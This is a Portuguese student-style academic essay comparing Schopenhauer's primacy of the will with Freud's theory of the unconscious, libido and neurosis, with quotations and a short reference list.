INCONSCIENTE E IMPULSO SEXUAL EM SCHOPENHAUER E FREUD

INCONSCIENTE E
IMPULSO SEXUAL EM SCHOPENHAUER E FREUD

FERNANDA CRISTINA
ROSSETTO

 

 

 

  1. INTRODUÇÃO

     

O presente texto
trata de como o psiquismo humano não está apenas
limitado a existência da consciência e da razão.
Ao contrário, há algo que vem de dentro, das
profundezas obscuras do ser, que o rege o comanda, ligando-o a sua
renegada animalidade. O grande erro dos filósofos até
os postulados de Schopenhauer e a teoria psicanalítica de
Freud, foi de justamente afirmar a primazia do princípio da
razão como o essencial e primário da então
chamada alma, ou seja, da vida interior do ser humano; assim como as
suas ações desejantes e volitivas como secundárias
à razão. Através da observância de que os
animais, mesmo estando abaixo do homem na escala evolutiva, são
dotados de querer e da vontade, Schopenhauer transforma, portanto,
este acidente de percurso da filosofia em seu estofo para sua teoria
da primazia da vontade e das consequentes imperfeições
do intelecto. De forma similar e não menos interessante, Freud
compartilha desta visão, criando a partir de suas observações
clínicas, a psicanálise, que poderia também ser
chamada de psicologia das profundezas. Desse modo, veremos como estes
dois autores dispõe as bases para a existência do
inconsciente e dessa forma lançam um duro golpe do narcisismo
humano e por consequência na hipocrisia constituinte da
sociedade. Por conseguinte, não é difícil
entender porque boa parte dos filósofos anteriores o
rejeitaram a existência lasciva do inconsciente e sua posterior
descoberta é tão impactante para o ser humano.

  1. A
    PRIMAZIA DA VONTADE

     

Para Schopenhauer, a
consciência não é exclusividade do ser humano.
Porém só o ser humano teria as abstrações,
que seriam os conceitos. Justamente porque os conceitos são da
ordem da razão, assim como os princípios abstratos.
Assim como não existe objeto físico independente da
realidade de quem o percebe, ou seja, o mundo seria formado a partir
dessas de representações, sendo estas não
unânimes a respeito de um mesmo objeto. Dessa forma, o
entendimento seria a faculdade intuitiva da mente, ou seja,
constituiria as próprias representações do
mundo. O entendimento é ainda inato e instintivo, visto que de
outra forma o ser humano não sobreviveria. As meras sensações
dos sentidos também não significariam nada se não
fosse o próprio entendimento, que por sua vez só existe
através do trabalho do cérebro.

Dessa forma, os
pensamentos não podem ser ocasionados na consciência sem
que exista um motivo. Este pode ser dado pelo mundo exterior, se for
causado através de uma impressão dos sentidos, ou
interior, se causado por outro pensamento através da
associação de ideias. Neste caso ocorre sempre a
evocação de um fio condutor, comum a várias
dessas lembranças e pensamentos. Schopenhauer chama esta
facilidade de evocar pensamentos de vivacidade de espírito.
Para que exista tal vivacidade também depende a saúde
em que se encontra tal espírito, da qual o contrário
ocorreria a loucura. Dessa forma, a loucura nada mais seria do que
grandes lacunas abertas no todo das recordações. Esta
ocorre com o rompimento do fio condutor da memória relacionada
às representações não suportadas, isto é,
aquelas que provocaram no indivíduo intenso sofrimento. Sendo
que o ser enlouquecido pode vir inclusive, a preencher esses espaços
faltantes da memória com ficções, similares aos
contos de fadas. Segundo as palavras do próprio Schopenhauer:

Em geral o processo de pensamento
em nosso interior não é tão simples na realidade
quanto o é a sua teoria, pois aqui convergem diversos fatores
em todo o processo. Para tornar a coisa mais intuitiva comparemos a
nossa consciência com um espelho d’água de certa
profundidade; ora, os pensamentos distintamente conscientes são
só a superfície: a massa d’água,
entretanto, é o indistinto, os sentimentos, a sensação
ulterior às intuições e ao que é
experienciado de modo geral, misturados com a própria
disposição da nossa vontade, núcleo do nosso
ser. (SCHOPENHAUER, 1998).

Em verdade quem está
por trás de tudo, é o que Schopenhauer chama de
vontade. Esta segundo o mesmo ocorreria da seguinte forma:

É na obscura profundidade
que ocorre a ruminação do estofo recebido de fora e
através da qual este é convertido em pensamento; essa
ruminação transcorre de modo quase tão
inconsciente quanto a transformação do alimento nos
sucos e substâncias do corpo. Eis por que quase sempre não
podemos prestar contas da origem de nossos mais profundos
pensamentos: são o rebento do nosso mais misterioso interior.
Juízos, ocorrências, decisões assomam daquela
profundeza inesperadamente e para nosso espanto. (SCHOPENHAUER,
1988).

Ele compara ainda a
consciência à crosta terrestre, sendo somente esta a
parte que conhecemos; e a vontade como o que está por debaixo
dessa crosta, em níveis bem mais profundos e desconhecidos. A
vontade seria inclusive o que estaria por trás da própria
associação de pensamentos, de forma que ela coordena e
impulsiona a geração de pensamentos e seu produtor, o
intelecto. Este seria apenas um mero servo diante da senhora, a
vontade. Dessa forma o princípio da razão como o
gerador dos pensamentos e sua cadeia de associações
cairia por terra. Todos os fenômenos observados no mundo teriam
como base o primado da vontade. Esta atua de forma absoluta e
inexaurível, tal como força provinda da natureza, como
de fato o é, cuja essência é justamente como
coisa-em-si. Portanto, poderíamos dizer que o pensamento
humano e consciência são por sua própria
natureza, falhos e fragmentários. A própria vontade
produz a consciência para que esta exerça seus fins.

A inconsciência
seria o estado original e primário, portanto natural de todos
os seres, sendo que a partir dela surgiria a consciência. Por
essa razão que a inconsciência seria predominante. A
maioria dos seres na escala evolutiva age dessa forma meramente
primária, mesmo o homem que estaria no topo da cadeia animal
evolutiva e possivelmente dotado de maior consciência, é
em sua maior parte regido pela primazia da inconsciência, ou
seja, da vontade. Sendo esta constituinte da íntima e
verdadeira essência do ser. Daí decorreria, inclusive,
suas imperfeições de intelecto. Grande parte dos seres
humanos permanece em suas vidas muito aquém do que poderia vir
a se tornar a ser, e da mesma forma, muitas verdades sobre os seres e
a vida deixam de serem descobertas.

O organismo funciona
como objeto e visibilidade da vontade, o intelecto é mero
acontecimento secundário, fenômeno imediato da mesma. O
intelecto, o entendimento e, portanto o cérebro é
físico, a vontade como constituinte em si mesma, ou seja, tal
como coisa-em-si é metafísica. A vontade é o
conhecido plenamente na consciência de si. Daí resultam
todos os seus demais afetos, o desejo, a fuga, o esforço, a
esperança, o amor, o temor, o ódio, o prazer e o
desprazer, que são meros efeitos dos atos da vontade. Esta é
primeira e essencial, reflete sua luz própria no ser
refletido, que é o ser portador da vontade. Tal como uma
planta, a raiz representa a vontade, vive subterraneamente, de onde
provém todo o seu calor e seus substratos, o rizoma seria o
EU, que possui os pontos limites em comum com núcleos
pertencentes aos dois, e por sua vez, a corola seria o intelecto. O
EU é sujeito, ao mesmo tempo, do querer e do conhecer,
condiciona e é condicionado.

Ao percorrermos toda
a esfera da escala evolutiva animal, vemos uma mesma degradação
da consciência, mas o oposto, a degradação da
vontade nos escapa. Isso se deve ao fato de a vontade conservar todo
o seu potencial de forma uniforme em todos os seres da referida
escala, em virtude de sua essência ser intangível e
idêntica em seus mais variados graus. Os desejos da vontade
variam de animal para animal, conforme a sua complexidade e posição
na escala, sendo que quanto mais desenvolvido o animal, maior a
complexidade de seus desejos.

Em nosso próprio
interior podemos perceber as naturezas distintas da vontade e do
intelecto; a essencial, simples e íntegra vontade de um lado e
de outro o fragmentado, complexo e secundário intelecto, e
ambos se pondo em disposição de um verdadeiro jogo,
sendo que nos é muito familiar essa alternância. Essa
luta é similar tal como se disponibilizam as instâncias
psíquicas propostas por Freud, das quais trataremos melhor
adiante. A vontade controla as representações do
intelecto, tal como um cavaleiro controla o cavalo, ela o frena, o dá
movimento e o direciona, sempre levando em conta a sua supremacia.

  1. O
    INCONSCIENTE E O IMPULSO SEXUAL


Seguindo a mesma
linha de raciocínio de Schopenhauer, Freud propõe que
há uma dificuldade geral em que se compreenda sua teoria,
residente no fato de que os próprios sentimentos do individuo
seriam por ela afetados. Sendo que Freud (2001, p.241), mesmo diz:
“Quem não vê com bastante simpatia uma coisa não
a compreende facilmente”.

A psicanálise
veio a configurar-se a partir de um grande número de
observações e casos clínicos, como uma teoria da
libido, ou melhor, o que se conhece agora com o nome de libido, que
seria a energia com que o instinto sexual aparece na vida psíquica.
Uma das principais ocupações da psicanálise
seria a dissecação dos sintomas neuróticos.
Estes são produzidos em decorrência das
incompatibilidades de exigência, por parte do indivíduo,
de satisfazer a dois senhores ao mesmo tempo. Podemos nomear esses
dois senhores como instintos de autoconservação do Eu
versus
instintos
sexuais da libido. Podemos traçar um paralelo com Schopenhauer
e sua teoria quando este se refere à fatigação a
que está sujeito o conhecimento, derivado e forçado
quando submetido à vontade originária, natural,
espontânea e incansável.

Ocorre que no ser
humano, as exigências de sua vida sexual interna, portanto,
inconsciente, podem ameaçar a sobrevivência e
autoconservação do próprio Eu, aparecendo para
este em forma de perigo. Assim o Eu acaba por se defender de tais
ameaças, negando aos instintos sexuais a plena satisfação,
forçando-os a tomar os devidos desvios que são
manifestados pelo indivíduo através dos sintomas
neuróticos. Ocorre que na neurose o Eu se sente invadido em
sua própria fortaleza, por forças que ele mesmo
desconhece e não sabe nem de onde surgiram. Estes
desconhecidos parecem até mesmo mais fortes e maiores que o
próprio Eu, e muitas vezes agem de forma indiferente ao mesmo.
O Eu, por sua vez, passa a aumentar a sua vigilância. Assim, o
sintoma neurótico é aquele percebido pelo indivíduo
como sofrimento, mas na verdade, são as vias que os então
reprimidos instintos sexuais tomaram para sua satisfação.

Dessa forma, a
libido se distribui de diferentes maneiras nos seres humanos, assim
como há grande variabilidade dos sintomas neuróticos. O
trabalho psicanalítico consiste em desvendar os caminhos
percorridos pela libido e seus rastros deixados através de
suas fixações objetais. Por fim, a libido é
então liberada e posta a serviço das necessidades do
Eu.

Temos por suposto
que toda a libido esteja inicialmente ligada à própria
pessoa que a porta, ou em linguagem psicanalítica, investida
no próprio Eu. Somente depois a libido transcorre para os
outros objetos, podendo inclusive, vir a se fixar em um destes. Ao
estado em que libido está investida no próprio sujeito,
denominamos
narcisismo,
remetendo justamente ao próprio mito grego do jovem Narciso.
Da mesma forma, a libido pode, do objeto voltar ao próprio Eu,
ou ainda, ir de um objeto a outro. Para a psicanálise, é
fundamental para a saúde do indivíduo que a libido
nunca perca a sua capacidade de mobilidade plena, dessa forma
evitando a fixação e daí o decorrente
favorecimento ao desenvolvimento da patologia.

Tal como
Schopenhauer fere o “narcisismo” humano ao colocar o
homem em seu devido lugar na escala evolutiva, juntamente com os
demais animais submetidos ao primado da vontade; Freud também
pondera que o homem, no início de sua evolução
cultural, também se elevou ao cargo de senhor de todas as
demais criaturas do reino animal. O homem deu a si unicamente o
direito de possuir uma alma divina e negou aos outros animais o
princípio da razão. Dessa forma, a humanidade
declara-se rompida com os laços pertencentes ao mundo animal.
O próprio ato humano de insultar seus semelhantes chamando-os
com nomes de outros animais já deixa claro este equivocado
distanciamento. Hoje sabemos por diversos pesquisadores que este mito
do homem superior jaz derrotado. O homem não é
superior, nem mais elevado que os outros animais, sendo ele próprio
de origem animal, sua constituição física e
disposição psíquica são muito similares,
inclusive, a algumas espécies mais próximas.

Enfim para Freud e
Schopenhauer, assim como o homem não tem sua consciência
como rainha absoluta sobre seus instintos e sua obscuridade, ele
também não reina soberano sobre suas vontades e
decisões, ou seja, ele não é o senhor de si,
como se pensava até então. Entrementes, é
recomendável o estudo detalhado desses dois autores para quem
deseja, de fato, compreender o funcionamento humano e sua verdadeira
natureza. Dessa forma, nos referimos a Freud:

Você se comporta como um
rei absoluto, que se contenta com os dados fornecidos por seus
principais cortesãos e não desce até o povo para
escutar a voz dele. Volte-se para si, para suas profundezas, e
conheça antes a si mesmo; então compreenderá por
que tem de ficar doente, e conseguirá talvez não ficar
doente. (FREUD, 2001, p. 250).

Portanto, diante do
conflito instintual já anteriormente mencionado, a própria
consciência do indivíduo fracassa na missão de
mantê-lo informado acerca do que se passa em seu próprio
interior, de modo que as informações geradas por ela
são insuficientes para tal empreendimento, isto é, os
processos mentais inconscientes são apenas acessíveis
de uma forma incompleta e suspeita. Dessa forma, compreendemos melhor
o que já havíamos disposto logo de início, que o
homem não é senhor de si mesmo e nem o Eu é
senhor de sua própria casa, e não nos surpreenderemos
quando das reações aversivas a estas teorias, que
apesar tão esclarecedoras, ferem o âmago do amor-próprio
humano ao lhe lançar tão duro golpe.

  1. CONCLUSÃO



Logo, Schopenhauer
e Freud são dois dos mestres do desmascaramento e do
descortinamento dos bastidores da sociedade, sendo que pregam uma
peça na mesma. Até então, pensavasse que o homem
estava no comando de suas próprias ações, ou
seja, que era senhor de si e era consequentemente superior a todos os
demais animais, dado o primado de sua razão sobre suas ações.
O século XIX do qual pertencem esses dois autores, foi o
próprio ápice da racionalidade, no qual se pensava
justamente que o ser humano é determinado pelo seu
livre-arbítrio. Freud e Schopenhauer rompem com essa premissa
dizendo que a razão na verdade é secundária. O
núcleo que define o mundo, primado da vontade e do
inconsciente, é irracional e o que nos define é a
dimensão emocional.

Segundo
Schopenhauer, apesar de todo o primado da vontade no ser, ainda sim,
pode ocorrer o contrário, ou seja, pode haver uma relativa
preponderância da parte que conhece sobre a parte que deseja.
De modo que a parte secundária pode vir a deliberar sobre a
parte primária. Ele considera esses indivíduos como
anormalmente favorecidos, de consciência eminente, tal como a
dos “santos”, que contemplam o todo da vida, através
do desprendimento. Já conhecendo todas as artimanhas da
primazia da vontade, isto nos leva a crer o quão favorecido
deva ser o ser que chega tão longe, libertando-se por completo
da parte volitiva e desejante que antes o aprisionara. Estes seres
são privilegiados, dotados de suprema genialidade, dessa
forma, corroborando a opinião do autor. Esta vontade que faz
parte da natureza e de todos os seres é egoísta e
degradante, justamente pela forma que se mostra com grande apego à
vida e ao indivíduo que a porta e pela falta de consideração
que tem a todos os demais seres, juntamente com seus afetos daí
provenientes.

Assim, são
passíveis de admiração pessoas que mantém
sua cabeça no lugar e prosseguem imperturbáveis a
investigação e ponderação do estado das
coisas, onde ali outros já estariam completamente fora si. De
todas as coisas que nos afligem, várias delas não
conseguiriam se nos propuséssemos a avaliar a situação
a partir de suas mais ocultas causas. Similarmente, a terapia
psicanalítica também seria eficaz na batalha contra as
pulsões, de modo que a submissão de todo o processo
repressivo a uma revisão e análise, levaria o conflito
a um desfecho melhor e mais compatível com a saúde.

REFERÊNCIAS

 

FREUD, S. Obras
completas
.
Trad. Paulo César de Souza. São Paulo: Martins Fontes,
2001.

SCHOPENHAUER, A.
O Mundo como Vontade e Representação.
Trad.
Jair Barbosa. Zürich: Haffmas, 1988.

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